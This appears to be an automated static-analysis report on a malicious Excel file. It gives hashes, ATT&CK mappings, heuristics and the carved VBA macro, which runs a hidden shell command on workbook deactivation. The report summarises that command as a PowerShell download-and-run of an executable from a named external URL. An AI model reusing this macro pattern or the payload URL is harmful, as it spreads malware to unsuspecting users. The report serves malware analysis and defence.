Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 77eeb72f8aff0f1d…

MALICIOUS

Office (OLE)

68.5 KB Created: 2018-12-20 22:19:05 Authoring application: Microsoft Excel First seen: 2019-01-20
MD5: 7b4993e10c4e85c8f3d357c74b7e9fcb SHA-1: 7655011d650246ef08b0de4d8bd722de70604154 SHA-256: 77eeb72f8aff0f1dee1fb4a47783ab066884eb16af9199de1a5207843facd56e
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that utilize WScript.Shell and CreateObject to execute a PowerShell command. This command downloads a file named 'grimstroke.exe' from 'http://servipag.info/04012019/grimstroke.exe' and then executes it. The presence of PowerShell and WScript.Shell calls strongly indicates a malicious intent to download and run a secondary payload.

Heuristics 7

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set er = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set er = CreateObject("WScript.Shell")
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://servipag.info/04012019/grimstroke.exe In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 886 bytes
SHA-256: 7828e08ca52c4539867fcbf54102336778ecfaf494d9d34332142a100c54bcf8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Deactivate()

    Set er = CreateObject("WScript.Shell")

    er.Run (Cells(15, 15)), 0
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Sub Workbook_Deactivate()

    Set er = CreateObject("WScript.Shell")

    er.Run (Cells(15, 15)), 0
End Sub